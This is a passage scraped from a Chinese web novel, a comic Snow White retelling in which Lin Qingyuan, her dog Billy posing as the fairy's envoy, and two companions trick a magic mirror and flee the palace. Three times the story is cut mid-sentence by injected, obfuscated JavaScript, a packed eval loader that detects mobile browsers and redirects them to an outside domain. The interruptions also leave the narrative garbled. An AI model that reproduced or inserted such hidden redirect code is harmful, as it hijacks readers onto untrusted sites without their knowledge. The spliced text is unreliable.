“菲比多娜,你的心灵犹如黑泥般肮脏,王后大人赐予我的东西你也觊觎!很快仙女的使者就要来了,这番丑态,再不收敛一些,你就不怕惹了仙女生气吗?还是说你觉得自己是森林里的小精灵,有许多条命可以抵挡你的罪行呢?” 菲比多娜听了,十分慌张。她四下看了看,又撂下了两句狠话,就急匆匆地离开了。 林清原笑了一下。 仙女的使者,这个名头真是比什么都好使。 林清原回去的时候,刚好没有迟到。她被安排进列队里,跟着大部队有序来到了皇厅等候。 等待了一段时间,厅外就传来了一声又一声的传报,由远及近,气势十足。 “仙女的使者,来到!” 随着传报声越来越近,林清原也愈来愈期待。她悄悄挪了挪位置,确保自己的视线不被前面的人遮挡,能看清仙女的使者的模样。 仙女的使者头戴金色花冠,昂首挺胸地走近,步伐却十分优雅。天蓝色的眼睛中闪烁着智慧的光芒,黑白色的柔顺长毛迎风飘动,一看就被护养的很好。 林清原那声呼唤差点脱口而出,但她紧急闭嘴,避免了暴露身份。 比利! 比利走到人群前站定,国王和王后都蹲下向它行礼。 国王和王后都行礼了,做手下的当然也要行礼。 林清原蹲下身,脑袋却悄悄抬起,用余光打量着比利。 比利矜贵地微微低头,压低嗓音轻轻“嗷呜”了一声。 在场的人无一不被这声美妙的低音炮折服:这就是仙女的使者!连声音都如此低沉有磁性! 除了林清原。 林清原低下头,努力憋笑。 别说,比利嗷呜的这一声,帅是真帅,可联想到它以前在自己身边的那副沙雕样,这种反差感才是最好笑的。 行礼结束后,国王让仙女的使者在主位落座,随后他大手一挥,上午那些农户们进贡的产品就被一一呈了上来。 比利在位上蹲坐,表现地毫无兴趣。 林清原在下面站着,也对此毫无兴趣。 这都是些什么?白萝卜、稻谷、死鹿,比利才不会喜欢这些。如果有些饼干什么的,它可能还会有点兴趣。 话说物到,真有饼干被呈上来了。 饼干是满满的焦糖色,散发着诱人的麦香,一看就嘎嘣脆,很好吃。 林清原没忍住咽了口口水。 比利也有些兴趣,但不多。它微微动了动鼻子,然后就张大嘴打了个哈欠。 林清原有些惊奇。 比利以前可是抢着要吃自己买的饼干的,现在这么香的饼干就在眼前,它竟然还无聊到打哈欠? 她定睛一看,发现了一个问题。 比利怎么好像胖多了?那圆墩墩的肚子,不会是肥肉吧? 她倒没往怀孕上想,因为比利是只公狗。 不过她又转念一想,这可是魔法世界,万一公狗也能怀孕呢? 她又不确定地看了比利的肚子几眼,虽然有柔顺的长毛遮挡,但还是能明显看出有个堆着的肚子。 她一时间没控制住思绪,目瞪口呆的盯着比利的肚子,脑中全是“完了我要当小姨了”“公狗要从哪生小狗”之类的离谱想法。 比利打了个寒颤。它感到有人对它有不怀好意的想法。 它迅速找到了视线的来源—— “呜汪!” 比利吓得低音都装不上了。 众人顺着比利的视线看过来——林清原早已迅速低头,此时被众人盯着,才假装什么都不知道的样子,茫然地抬起头。 比利也意识到失态了。它又连“呜汪”几声,把视线转到面前,装作自己只是对饼干发表了一些意见。 然而它不由自主疯狂甩动的尾巴,还是暴露了它此刻激动的心情。 而这个激动的甩尾巴,被国王等人误会了。 国王心情大好,亲手把饼干放到了仙女的使者身旁,令人记录下来,等待之后的犒赏。 要知道,仙女的使者总是隔一段时间就会换,虽然每个使者的口味兴趣不同,但总有喜欢的。只有最近新换的这只大狗使者,总是对什么都没兴趣的样子,搞得他以为自己或者王后哪里惹了仙女不高兴,使者代为发怒来了。原来是这些贡品都不合新使者的心意啊! 饼干,好!做饼干的人,也好! 比利在这之后就没有对别的东西展现出兴趣。 仆人将饼干小心地装到一个金线缝制的袋子中,递到了仙女的使者身旁。 比利挥挥爪子,它头上的花冠就亮起光芒,把饼干袋收了进去。 林清原震惊。 自家狗狗成了魔法狗狗了! 上贡环节结束,接下来就是仙女的使者向王后收取报酬的阶段了。 这种情况是要屏退众人的。 然而比利装模作样地围着人群嗅了一圈,最后在林清原面前站定,高傲地一抬头,意思是:我要这个人跟我一起! 国王和王后面面相觑。这还是第一次出现这种情况。 在引起怀疑前,林清原先一步做了全套的戏——她诚惶诚恐地侧坐在地,双手合十,对着仙女的使者说出虔诚的祝福: “哦天呐!仙女的使者,您是那么美丽!那么威风!没想到您竟会挑中我这个小小的侍女,非常感谢您的赏识!您的心灵简直犹如金子般纯净!” 比利汪汪了两声,林清原听懂了:“金子怎么是纯净的?” 她露出了一个微笑。 小小比利涉世未深,金子到哪都是硬通货,可不就是最纯净的东西了! 不过国王和王后听不懂比利的话,他们只以为是对这番赞美的认同。 既然仙女的使者执意要这个侍女跟在身旁,虽然不知道她有什么独特的魅力吸引了使者,但只是一个小小的侍女罢了,跟去也无妨,大不了等使者走后把她杀掉就是了。 这么想着,王后就同意了林清原的跟随。 在离开皇厅前,比利趁人不注意,打量了站在侍卫堆里的成柳几眼。 这个人身上有小主人的味道。 林清原和比利一路跟着国王和王后来到了寝宫大厅。 大厅正中的墙上挂了很多幅画,正中央是一幅巨大的风景画,林清原每次路过都会停下来看两眼,因为画的真的很好看。 只是她没想到,这幅看起来很正常的画,背后却暗藏玄机。 王后先后掰动了几幅陪衬在这幅巨大画周围的画,然后再回到这幅画面前,伸出手按顺序在几处地方敲击了几下。 随后这幅巨大的画就缓慢升起,露出了隐藏在背后的密道。 林清原走进密道,心中计算着这条密道的路线。走了几拐,发现逐渐靠近了王后的房间,于是合理怀疑这条密道和王后房间中的那个密道是相通的。 不过在这种时候,她自然不可能前去验证自己的猜测。 几人在一道门前停了下来。 推门进去,映入眼帘的就是一条又一条缠绕的花藤,坠着饱满的花朵,簇拥在一面大镜子边。 王后走到镜子面前,呼唤道: “魔镜,魔镜。” 镜子散发出了紫色的光芒。光芒消失后,一张人脸出现在镜子中——准确来说不是人脸,而是五官。 五官均匀分布,活灵活现,好似真的是从镜子中长出的。 魔镜的双眼邪恶地转着,不怀好意地打量着面前的女人。它口中发出的声音尖利难听,说出的话也刻薄恶毒: “瞧瞧,这不是我那美丽的王后吗!你又唤醒我,是为了献出你那漆黑的心脏,还是肮脏的大肠?” 王后丝毫不惧魔镜的刻薄,反唇相讥: “你的舌头像毒蛇,却永远只能被困在这面镜子里,在黑暗中怮哭。你的祈求不会有人在意,你唯一的意义,就是回答我的问题。” 魔镜的眼睛转了转,看向了在场的其他人。 “哈!国王!你的脸色还是像昨晚那样难看,脸上的皱纹已经可以当做蛆虫的巢穴!还有你,仙女的使者,你还是像上次一样丑陋,快去淤泥里滚一圈吧!那样才能遮盖住你浑身的臭味!” 它的眼睛最后看向了林清原。 “哦,一只小跳蚤。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14458061|153027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就没了。 林清原莫名生气,为什么到她只有那么简短一句话?但好像比起魔镜对其他人的评价,这句评价已经很好了。这么想着,她更生气了。 气上加气,她不想忍了,当即秉持着一个优秀护主侍女的良好认知,呛道: “你是什么丑东西,胆敢说出这么愚蠢的话语!国王大人与王后大人的高洁如同天上的星月,你这双眼睛已经被黑暗蒙蔽,早已无法看清现实!多么可悲、多么可怜!但是你毫不需要同情,因为在你对仙女的使者出言不逊的时候,就已经如同水里的蚊虫,只有被吞吃的下场了!” 以上,所有话语皆受到了菲比多娜的影响。在经受了嫉妒的侍女的连续两天的骚扰后,林清原已经熟练掌握这种比喻句满天飞的说话方式了。 王后对于林清原的回呛有些意外。 没想到这个只是有些亮眼的侍女,会再一次出乎她的意料,面对魔镜也毫不惧怕,出口成章。 可惜,如果不是被仙女的使者选中了,看到了魔镜的秘密,这个侍女可以得到更精致的培养,或许有一天可以成为自己的心腹呢。 王后哈哈大笑,她倨傲地对魔镜下命令: “魔镜,魔镜,你知无不言。这次仙女需要什么东西?” 魔镜看起来很不想理会,但它五官扭曲了几下,还是乖乖回答了:“这次仙女需要王后一杯金盏的血液,和一个听话的侍女。” 王后没有犹豫,当即从旁边的架子上取下一杯金盏,用小刀划破了手掌,滴满了血液,然后递给了仙女的使者。 比利同样将这杯血液收进了头戴的花冠里。 至于侍女—— 王后将目光放到了林清原身上。 她的内心在“将菲比原杀掉”和“将菲比原送给仙女”中摇摆不定。 国王看懂了王后的想法,但他也有自己的私心,于是也向魔镜提问: “魔镜,魔镜,你知无不言。菲比原是适合留在我身边,还是适合去往仙女身边?” 魔镜邪笑了两声,答:“你不适合把她留在身边。如果你这么做了,相信我,你会拥有有史以来最恐怖的经历。” 王后瞪了国王一眼,然后就掰下了魔镜旁边的一朵花。 魔镜尖叫:“哦不!你这个恶毒的女人!”它的紫色光芒震荡了一下。“不要以为掰掉一些我的魔力,就能让我彻底臣服!” 林清原听明白了。传闻中的那些可以“长出白雪公主”的花藤是谬传,其实这些花朵是魔镜的魔力。 她悄悄打量了一圈房间内的花藤。 这么多,如果全部毁掉,是不是魔镜就没有魔力了? 王后轻蔑地看了魔镜一眼,掰下了更多的花朵,然后嫌弃地丢到了地上。 魔镜虚弱地伸出花藤,将地上的残花慢慢捡回。 虽然落了下风,但魔镜仍不饶嘴,它下了逐客令: “够了,你们这些渺小的残虫!今天的一个问题已经没有了!快滚!” 几人按原路离开了密道。 出去了之后,王后就开始准备林清原的打包。 原本是要立马把林清原送走的,但后者提出想再最后留恋一下自己生活的王宫。仙女的使者也顺着她,并且不让其他人跟着,于是没办法,就只能让仙女的使者代为陪同了。 走到了没人的地方,林清原才终于放下戒备,和自家狗狗拥抱在一起。 比利的尾巴甩的飞起,甩到林清原身上,砸得她生疼。 “够了,够了!” 林清原站起身,找到水池,洗去了自己脸上被比利舔上的一大滩口水。 刚洗完,比利又一个飞扑,把她猝不及防扑倒在地。 没办法,太久没有相见,狗狗实在想念。 林清原想推开比利,震惊地发现自己竟然推不动。 “不是吧大哥!你到底吃胖了多少!我竟然推不动你了?!快起来,好沉……” 在林清原开始憋气前,比利终于起开了。 它又兴奋了会儿,才终于稍微冷静下来了。 林清原狼狈地拢了拢散开的头发,正准备说话,就听到有人在喊她: “清原老大!” 扭头一看,远远的,一颗头露出灌木丛边,把她吓了一跳。 见四下没人,成柳从躲藏处出来,几步跑到了林清原面前,快速伸手握了握比利的爪子: “比利好!长得真帅,长得真好看!我是成柳,幸会幸会。” 比利还在愣着。它刚认出这是先前在皇厅闻到的身上有小主人味道的那个人,下一秒爪子就被握住上下摇晃,还被迫听了一长串叽里咕噜的打招呼的话。 飞速寒暄完,成柳迅速放下了比利的爪子,严肃地对林清原说: “清原老大,仙贝找到了。” 19. 万事屋成员齐聚 其实在进入“故事”后,林清原就一直在寻找白仙贝的踪影。然而奇怪的是,哪里都找不到,就像人间蒸发了一样。 成柳也动用他身份的关系网寻找,同样没有找到。 林清原想过很多种可能,比如白仙贝会不会是像她上次那样,没有被吸入这次的“故事”;又比如会不会是被藏在了密道里;又比如会不会是在另一个暂时还无法接触到的地方。 然而密道探查过了,暂时没有去过的森林的情况也问过比利了,都没有见过白仙贝。 就在她已经差不多认为白仙贝没有来到这次“故事”时,成柳又找到她说,白仙贝出现了。 于是她带着比利,跟在成柳身后,来到了王宫的另一边。 林清原已经当了两天的侍女,一眼就认出来这个地方是公主的居殿。 难道? 白仙贝身着公主长裙,正在焦急地踱步。 见到林清原和成柳来了,她眼睛一亮,就要走上前来,但顾忌地看了一圈身边守着的一堆侍女和守卫,又停下了脚步。 林清原明白了白仙贝的顾虑,于是没有贸然相认,而是先规矩地行了礼,说: “公主日安。我是前任王后身边的侍女,现在受仙女的使者的指示,带领使者前来下意。” 白仙贝反应很快,手一摆,对着周围守着的人说:“你们都出去。” 周围人不为所动。 还得要比利出马。 它拿出仙女的使者的气势,缓步走到一个石凳旁,爪子一拍,就把石凳拍了个四分五裂,然后蔑视地看了周围人一眼,嘴里不耐烦地吐了声气音。 见仙女的使者发怒了,旁人也不敢再停留,纷纷离开。不过在宫殿外面,还是留了人守着。 几人换了远一些的位置坐下,确保外面的人听不到、也看不到他们在讲什么。 白仙贝试探地抚摸比利。 比利很乖,摇着尾巴任其抚摸。它知道这是小主人的另一个同伴。 林清原有很多问题想问白仙贝。 “你怎么变成‘白雪公主’了?” 眼前的白仙贝,和她现实中的长相有所不同,虽然依旧是黑发白肤大眼睛,但是头发更黑了、皮肤更白了、嘴巴更红了。 白仙贝摸了摸自己的脸,说:“可能是设定的影响。” 她讲起自己这两天的经历。 “我一开始就在‘大院’。那里住着一群女孩,最小的才十岁,最大的也不过二十。所有女孩都长得一样——不是指长相,是指形象和气质。我照了镜子,才发现我的样子也变得和她们趋近相同了。 “从昨天上午到现在,我哪也没去成。‘大院’外面有屏障,我们都出不去,只有侍卫过来挑人的时候,屏障才会短暂消失。不过那个时候,也一直有重兵把守,想逃跑也是不可能的。 “我们每天都要上课,学习礼仪、学习表演、学习各种各样的知识,从早到晚,整天都很忙。不过我觉得,学习的这些东西,比起说是提高修养,其实是在模仿‘白雪公主’。 “我和院里的女孩都聊过了。所有女孩都是从王宫外找来的,只要和‘白雪公主’长得像,就会被带回王宫培养,每个女孩最少要被培养三年才能有机会被挑选中离开‘大院’,奔向‘美好的生活’。” 她看向成柳,接着说:“那里的每个女孩都是被‘美好的生活’洗脑的,没有被洗脑成功的女孩早都死了。她们的脑海中只剩下了一个名字,那就是‘白雪公主’。我原本还在想课程中教导的‘美好的生活’是什么,结果听了成柳说的话,才知道不过就是作为‘白雪公主’的替代品嫁给一个不认识的王子罢了。什么‘美好的生活’,明明是‘商品的售卖’嘛!” 白仙贝愤愤不平。 林清原叹了口气:“还好你被选中成为下一任‘白雪公主’从‘大院’中出来了,不然我们光是想办法突破魔法屏障,还要费好大的功夫。” 白仙贝摇摇头,说:“不是我被选中了,是阿柳帮我选中了。” 成柳说:“昨晚调查‘大院’无果后,我就一直在想办法打听‘大院’的事。一般在前一任‘白雪公主’离开后,第二天一早就会选出新的‘白雪公主’替补。不过我刚开始并不知道,我只是在调查途中,发现有一个特殊的队伍,在今早去了‘大院’。于是我就趁着这个机会,摸清了去‘大院’的队伍里都有哪些人,本来想着先打好关系,之后能去‘大院’探查一下,没想到就在上午,那个王子突然回来了。” 林清原点点头,那个王子的突然折返,确实把很多人都打的措手不及。 “所以我在把新公主送到花园后,就时刻观察着那支特殊队伍。幸亏队伍里的人都是带着面罩的,终于在下午的时候给我找到机会混进去了,跟着他们一起去了‘大院’。没想到在里面看到了十多个‘白雪公主’。 “我这才知道那些一个又一个的‘假白雪公主’是从哪来的。本来领头的人选的不是仙贝,是另一个年龄更大些的,我想着这次一走,下次再把仙贝救出来就麻烦的多,就直接用了能力,强行改变了选项,这才让仙贝有机会出‘大院’。” “你用能力了?那你……?” 林清原惊讶地看向成柳,此时的后者身高腿长,是正常成年男子的身材。 白仙贝捂着嘴笑了两声,说:“是问他能力的后遗症吧?我被守卫挑走之后,带到了房间里重新梳洗,刚从浴堂出来,就看到门口蹲了个小孩儿,给我吓了一跳呢。” 成柳无奈地解释:“我的能力在经过这么多次的‘故事’后已经有了一些进化,可以先进行简易仪式提前支取成果,等事后再补付代价,算是应对突发情况的应急手段。因为这种简易仪式,实现的效果不如正常仪式,事后补付的代价也比正常事前仪式要大,所以我一般不用。 “这次情况紧急,我在看到仙贝出来之后,就偷偷溜走了,等待着仪式的效果减 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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成柳看着安静听大家说话的比利,脑中思绪拐了个弯:“既然万事屋再次聚齐,比利也是万事屋的一员了吧。那它算是第一个成员,还是老幺?” 比利抖了抖耳朵,昂起头,得意地说:“汪汪!(第一!)” 成柳摸了摸比利的脑袋,笑道:“好的,欢迎比利成为万事屋老幺!” 比利气得咧嘴咬了几口空气。 听懂了比利说的话的林清原微微一笑,并不打算纠正成柳的说法。她思考起接下来的安排。 “如果要把仙贝带出去,只有一个办法,就是假装她才是仙女要的侍女,而我们可以作为护送使者出宫的人找机会溜走,就算被发现了,以我和成柳的实力,独自跑开也是足够的。” 成柳补充道:“那还要打好时间差,不然咱们这边刚走,那边守卫就发现了‘白雪公主’不见了,就谁也跑不掉了。” 林清原神秘一笑。 “这个的话不用担心,我有办法。不过在离开王宫前,我还需要再去找一次魔镜。” 20. 魔镜,魔镜 有了比利的陪伴,林清原走到哪都可谓是“畅通无阻”,顶多派人稍远一点跟着。 她回了趟自己之前住的小房间,借口拿行李,其实是把古剑带上。 比利头上戴的花冠真的很好用,什么都能往里面装。 于是最后林清原只随便拿了点东西,用小包裹装着带了出来。 在这之后,林清原和比利分头行动。 比利去找王后,将她带到她房间里的另一个厅,传达“仙女的意思”,林清原则趁此机会偷溜进带有密道的那个房间,先拿了点王后的首饰,然后按照自己的记忆,开启密道走了进去。 密道内灯光不是很亮,但足以看清路,一路上也没有多余的分叉路口,林清原顺着走,很快就来到了魔镜所在的地方。 果然这些密道是相通的。 魔镜还在沉睡着,乍一看就像一面普通的镜子。 “魔镜,魔镜。”林清原轻声呼唤。 魔镜醒了过来,第一句话就是嘲讽: “原来是你,烂泥巴!你竟然偷偷溜进来了,就算你要去仙女那边,被发现了也是会被杀死的,砍头、穿心、浸水,你喜欢哪个?嘿嘿呵呵嘿嘿呵呵呵。” 林清原:“我是得了王后的旨意过来的,不然我怎么会知道怎么进的密道?” 魔镜哈哈大笑:“你还想骗我!知道我是谁吗!我可是无所不知的魔镜!我当然知道你是怎么偷溜进来的!” 林清原提起了更高的警惕心,魔镜比自己想象中要全知,看来问话的时候要更小心了。 她故意作出看不起魔镜的样子,想刺激它说出更多信息。 “就你还无所不知?要是真有这么厉害,怎么会被关到密道里?国王大人和王后大人才是最厉害的,有他们在,国家永远强大,我们永远不愁吃穿,你又算什么?” 魔镜本来就是个一点就炸的性子,听了这番话,立马暴怒了。 “你这只臭虫知道什么!我会留在这里是因为誓约!才不是被关着!就他们那两个人,如果不是和仙女男巫达成了交易,用自己的儿子和……你在套我话!” 魔镜突然反应过来了,林清原心里暗道可惜,面上却假装毫不知情。 “套话?套什么话?对你我还需要套话?你信不信,我说个问题,你绝对答不上来!” 魔镜气极反笑:“你问!如果我答上来了,那你就成为我的养料吧!” 周围的花藤开始蠕动,渐渐朝林清原包过来,只等待回答完问题后就把她吃掉。 “提问:为什么要对‘字符’和‘字符数’进行区分?” 魔镜:“?什么玩意儿?” 林清原冷哼一声:“这么简单的问题都回答不出来。” 魔镜闪烁了几次紫光,把房间照得阴气森森。 “哈,我知道了,你是在拿世界外的问题来提问!这种不算数!不过没关系,等我把你吃掉,这些知识我就都知道了,嘿嘿呵呵嘿嘿呵呵呵。” 花藤猛地朝林清原射来,后者一跳躲过了。 林清原心里很慌张。 她本意是想拿现实生活中的知识来堵住魔镜的嘴,没想到魔镜竟然全知到这种程度,能理解“世界外”的含义!这样下去可糟了,如果让魔镜彻底理解了“故事”,后果不堪设想。 于是她继续装傻:“什么世界外世界里的,答不上来就答不上来,还找借口!别说是这种小问题了,我就算问你关于王后的问题,你也答不上来!” 魔镜停下了攻击。它冷笑一声:“不可能!” 林清原问:“如果你就是答不上来呢?”她不想放过这个魔镜,“如果你答不上来,那你的这些魔力花,我就带走了。” 魔镜极其愤怒,它没想到这个渺小的虫子竟然把主意打到了它的魔力花上。不过被质疑全知能力的愤怒在此之上,它决定先听小虫子的可笑的提问,等回答完,再将她一点点吃掉,折磨!吃掉! “你问。” “为什么说‘王后一直是美丽的’,王后就一直是美丽的?” 魔镜笑得嘴巴都咧到了镜子边。 “就这个问题?哈哈哈哈哈!永远活在地下的虫子啊,就让我,全知的魔镜来告诉你,为什么王后一直是美丽的。因为她拿了她的寿命做了赌约,用来换取美貌和我的留下!所以她才能二十年如一日,一直貌美!” 说完,花藤就要扑上来将林清原裹住。 “大错特错!” 林清原的回答只让魔镜以为她在嘴硬。 然而她下一句说的话,让魔镜停下了抓她的动作。 “我问的不是王后一直保持美貌的原因,而是为什么说了王后美丽,王后就能一直美丽!” 魔镜不理解:“有什么区别?” 林清原勾唇一笑,说出了答案:“因为说了‘王后一直是美丽的’,所以王后‘往后就一直是美丽的’。” 是的,这根本不是问题,而是谐音冷笑话。 魔镜发现自己受骗了,气愤地挥舞花藤,誓要将林清原抓住折磨。 “这什么破问题!这么牵强的解释,你以为能说服我吗!” 林清原凭借着自己加强了的速度,灵活地躲开攻击。 “你就说你答没答上来吧。说好了答不上来就给我魔力花的,言而无信的破镜子!” 眼看抓不到林清原,魔镜改变了策略。 一直坠着的花朵开始慢慢扬起,花瓣一收一缩,花心中闪动着紫色的光芒。 林清原闻到了一股奇异的味道,很香,很甜,很晕。 她猛地掐了自己一把,打了个激灵,开口道: “魔镜,魔镜,你知无不言。” 魔镜的动作定住了,它的五官扭来扭去,看上去很想怒骂出口,但碍于禁制,它只能等问题回答完毕才能继续行动。 林清原笑了一下,没有开口问问题,在确认了魔镜无法反抗后,转身开始疯狂搜刮魔力花。 开玩笑,好不容易让魔镜困在问答的禁制里了,不趁这时候掰花,还趁什么时候? 一朵朵花朵被粗暴地扯下,胡乱地塞进了小包裹里。 花朵越扯越少,包裹越来越大,碍事的花藤被林清原几脚踩断、踢开。 魔镜肉眼可见地虚弱了,它身上、花上的紫色光芒变得越来越暗淡。 搜刮的差不多了,林清原给它留了几棵藤,免得真把魔镜搞死了,想问的问题都没法问了。 “怎么拯救真正的白雪公主?” 问题只能问一个,自然不能问诸如“白雪公主在哪”、“白雪公主还活着吗”这样的问题,这些问题一想就能想出来了:公主大概率还活着,不出意外的话现在就在森林里。 就算问题的答案不是这些,问怎么拯救公主,如果公主没在活着,那也能顺便从回答中得到答案。 林清原可是在进入密道前,就已经想好了要问什么最重要、也最保险的问题。 魔镜身上的紫色光芒亮起又消灭、消灭又亮起,重复了很久,久到林清原都怀疑是不是真的不小心把它搞死了的时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14475344|153027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候,它终于回答了。 “拯救真正的白雪公主,需要爱。只要有爱,白雪就会醒过来。” 回答完毕,魔镜终于恢复了自由,但它已经因为林清原的趁火打劫受到了重创,一时间无法动弹,花藤凌乱地团在一起,看上去可怜极了。 ——不过只是看上去罢了。不再受禁制控制的恶毒语言一句又一句地砸向了林清原。 不过林清原在得到答案后就走了。 她不担心魔镜说了谎话骗她,她只担心剩下的时间不够,影响到撤离。 林清原从寝宫大厅的画那里出去了。 尽管她已经在出去前很小心地听了会儿外面的动静,猜测没有人在才开启机关,结果刚出密道,就被人撞见了。 不过很巧,来的人正是那个嫉妒心旺盛的菲比多娜。林清原正打算出去之后去找她来着。 菲比多娜正推着一车东西从别的厅过来,她没看清林清原是从哪冒出来的,只看到了林清原那副像小贼的做派。 “哼,你鬼鬼祟祟的在做些什么?背着这么大一个包裹,难道是学了肮脏的老鼠,从哪里偷了奶酪吗?” 林清原见到菲比多娜,表现得很热情。 “菲比多娜!你的嘴巴还是这么会说话!”她凑近,压低声音说:“其实我正帮白雪公主找人呢!你要不要参加?” 菲比多娜有些好奇:“公主找什么人?” 林清原神秘地说:“公主闲着没趣,想找人一起玩装扮游戏。这不,我就去拿了换装道具。你也一起来呗,公主高兴了,听说会赏好多财宝呢!” 林清原掀开一点包裹,露出里面装着的各色线团和一些花朵——花朵是“捡”的魔镜的,线团是从房间里拿的。身为王后的衣帽侍女——虽然只当了两天,房间里备些衣料、线团什么的,太正常了。 “真的会赏财宝吗?”菲比多娜很心动。 “当然了,而且在游戏开始前,我们还要把自己的贵重东西交上去,谁赢了游戏,就能从那些东西里任意挑一件呢!我准备把王后赏赐的那一只耳环交上去,你呢?” 菲比多娜一边含糊着说自己的贵重东西要留有悬念,一边催促着林清原带她去公主那里。 白仙贝已经按计划,安排了好几个侍女等在大厅。见到林清原回来,她还佯装生气,说她跑腿太慢了。 林清原赶忙道歉,在众目睽睽下将王后的几件首饰交了上去。 鱼饵已经设好,就等鱼争相咬钩了。 白仙贝说,她要玩“真假公主”的游戏,她要扮成侍女,而几个侍女扮成“白雪公主”,拿上小册子,随机找人盖章,如果被人认出了身份,就游戏失败。等到晚上,谁的小册子上盖的章最多,谁就是胜者,可以拿走珠宝。 在侍女们打扮好各自散开后,林清原几人也开始了撤离之路。 天色渐渐暗了,方便了侍女们的盖章,也方便了白仙贝的隐藏。 比利已经等在了王宫门口,它给王后出了几个难题,让她一时半会没有时间回到房间,防止她很快发现魔镜的情况。 守在王宫门口的侍卫们想仔细检查出门的几人,但他们不知道“送给仙女的侍女”究竟是谁,只知道是黑头发,于是在比利的掩护下,守卫们最终放走了这个“侍女”和护卫使者回程的两个侍卫。 在天彻底黑下去后,又过了很久,王宫中出现了大骚乱,一盏又一盏警示灯点起,侍卫们搜寻着仙女的使者和侍女们的踪迹。 等到他们得知了离宫的消息,一切都已经太迟了。 21. 森林 从王宫中离开以后,几人就跟着比利一路走进了森林。 夜晚的森林暗影憧憧,时不时惊起的飞鸟带起枝叶晃动,更添几分诡异。 不过几人都是胆子比较大的人,以前胆子不大的白仙贝,经历了两次“故事”,现在也能良好适应了。 在淌过一条小河后,比利抬头看了看明亮的月亮,停下来,把古剑从花冠中取出来,让林清原拿着。 林清原问:“快到仙女那了吗?” 比利点点头。 于是林清原寻找能固定住古剑、又能不影响正常使用的材料。 走了一段路,还是没找到。比利看出了她的想法,就带几人稍微绕了一下路。 这里有很多藤蔓,林清原拽着试了试质量,觉得不错,就拔出剑砍下一些,坐在地上编起剑袋。 白仙贝见林清原因为光线太暗而一直操作不好,说:“咱们出来的时候应该拿上提灯的。” 比利思考了一会儿,钻进了树林深处,过了一会儿,赶了一群萤火虫过来。 萤火虫也不怕人,有些调皮的,直接停到了林清原头顶。 成柳伸出手,迎了一只萤火虫。 一呼一吸间,荧光也随之变化。 成柳感叹:“这萤火虫比现实世界中的亮多了,真的像小灯一样。这就是魔法世界吗?” 林清原摸了摸比利毛茸茸的脑袋。 比利高兴地蹦了几下,在地上留下了几个明显的脚印。 林清原不可置信地摸了摸脚印,然后看着还在傻乐的自家大狗,给它定下了回去后的训练计划: “比利,你怎么胖了这么多!出去之后要每天跑步三小时外加两小时的跳跃训练了!” 比利汪汪叫,怒问她自己哪里胖了。 林清原指着它蹦出来的脚印:“蹦几下都能留脚印了!”她用力拍了拍土地,“看!我这么用力拍地都没有留下印子!” 比利气坏了,跑到一旁的一块石头上,“呜嗷”一声,起跳——石头碎了。 林清原大惊失色。 比利得意地看着她,昂起头,微风吹过柔顺的长毛,隐约勾出了隐藏在其下的健壮的肌肉。 它骄傲地慢慢走近,正准备控诉,就听林清原说: “我就说吧!都胖得可以踩碎石头了!” 它一下子崴了脚。 林清原悲痛地说:“我在外面每天担心你都担心地吃不下饭,你在这里吃香喝辣的胖了一圈、两圈……不,三圈!” 白仙贝和成柳对视了一眼,假装不知道在餐厅里一口气吃了一整块披萨、一条鱼和两大份意面的是谁。 “在王宫里的时候我就看到你肚子上的肉了!你拍碎石凳子的时候我就想说了,谁家小狗能胖到拍碎石头啊?!我那活泼可爱的小狗呢?那么健美的一只小狗呢?!” 成柳终于看不下去了,他打断了林清原的哭嚎。 “清原老大,那个……我想,就算一只狗再胖,也不会胖到能随便打碎石头的……” “是吧!”林清原像是找到了同盟,拉上成柳一起教育小狗,“你成叔叔都说了,没有小狗能胖到打碎石头的!可想而知你现在胖到了什么地步了!减肥,必须减肥!” 成柳大为伤心:“成……成叔叔……”然后他看到比利对他露出了不善的表情,立马双手平举,堆起笑容,辩解道:“比利,叔叔没有这么说哦。” 白仙贝无奈地叹了口气,扯了扯林清原的袖子: “小鹤,不是这个意思啦。动动你聪明的脑瓜好好想想,普通的狗狗怎么能轻松打碎石头啦,肯定是有特殊的力量。不要涉及到比利的事情就犯傻呀。” 林清原想了想,说:“可是比利之前就能劈开木头啊?” 成柳:“不是,谁家小狗能劈开木头啊?!”他抬手扶额,表示自己对武学世家的刻板印象又多了一分。 比利跳到一边,把花冠摘下,哆哆嗦嗦地入场,然后与空气进行了一场惊险刺激的搏斗。 紧接着,它走到正中坐下,直起身子,摆出一个微笑的表情,举起一只爪子,这点点,那点点,点到哪处,它就飞快跑过去,扭曲地摆动身子。 再然后,它从场地这边走到那边,一路走,一路躺,躺下再爬起,爬起再躺下。 最后,它跑回场地中央,背对观众,侧头,露出一个悲伤的眼神。 它把花冠重新戴回头上,“嗷呜”了一声,正对观众,环起前爪。 表演结束。 白仙贝和成柳一脸懵。 “啊……啊?” 他们犹豫地鼓掌。 比利矜持地点点头。 林清原也点点头:“原来如此。” 二人震惊:“啊?!你真能看懂啊?” 